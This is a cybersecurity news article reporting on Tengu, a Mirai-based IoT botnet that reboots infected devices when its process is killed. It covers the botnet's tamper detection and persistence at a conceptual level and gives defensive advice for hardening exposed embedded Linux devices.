Tengu, a newly observed Mirai-based botnet, is making infected IoT devices far harder to clean. It targets internet-facing embedded Linux systems, particularly devices that leave Telnet or other remote administration services exposed.
Once installed, the malware can keep a device available for malicious activity and turn a routine removal attempt into an operational problem.
The threat follows a familiar Mirai playbook by seeking weakly protected connected devices, but it adds stronger safeguards against interference.
Routers, cameras, DVRs, and other low-maintenance systems can be attractive targets because they are often exposed online, run outdated firmware, or still use default credentials.
Similar threats have repeatedly shown how Mirai botnet router vulnerabilities can put everyday network equipment at risk.
Researchers at Nozomi identified the malware’s unusual ability to reboot an IoT device when someone attempts to terminate its malicious process.
Nozomi said in a report shared with Cyber Security News (CSN) that Tengu is designed to resist removal and maintain access after compromise.
This behavior increases the risk for organizations that assume restarting a device is enough to remove an infection. A reboot can interrupt surveillance, communications, or business processes while giving administrators a false sense that the device has been cleaned.
The finding also reinforces why protect IoT devices from botnet attacks requires more than simply powering equipment off and on.
New Tengu Mirai Botnet
Tengu monitors its own running state and checks whether its code has been changed.
The malware reads memory-mapping information from the Linux proc filesystem, calculates a baseline SHA-256 value for part of its code, and repeatedly compares the result to identify tampering.
It also checks for writable memory mappings that may indicate analysis or modification activity.
When the bot detects that an operator has tried to stop or alter it, it can trigger a reboot of the infected device.
That reaction can remove temporary traces of the failed response effort and disrupt the person attempting cleanup. It also means incident responders may lose access to volatile evidence if they do not collect it before taking action.
The malware’s persistence methods add another layer of difficulty. Defenders investigating an affected system should examine systemd services, init scripts, shell startup files, and cron-related locations before returning a device to service.
This approach matters because other Linux botnets have used systemd and scheduled tasks to retain access after initial compromise.
Exposure Creates the Opening
Tengu primarily puts internet-exposed IoT and embedded Linux devices at risk, especially those with Telnet or unnecessary administrative services accessible from outside the network.
Attackers can exploit poor credential practices and weak device management to gain a foothold. Older network equipment remains especially exposed, as seen in cases involving web cameras and DVRs targeted through vulnerable services.
Organizations should reduce public exposure wherever possible, disable unused remote access, and replace factory-set passwords with strong, unique credentials.
Firmware should be kept current, while IoT devices should be separated from critical enterprise networks to limit the effect of a compromise. These measures can reduce both initial access opportunities and the chance of lateral movement.
Security teams should also watch for unexpected outbound connections, proxy-like network traffic, strange process names, and services pretending to be legitimate system components.
Reviewing persistence locations before restoring an affected device is essential, particularly because modern botnets can combine long-term access with DDoS or proxy capabilities.
Recent reporting on Mirai botnet DDoS evolution illustrates the wider operational risks posed by large IoT botnets.
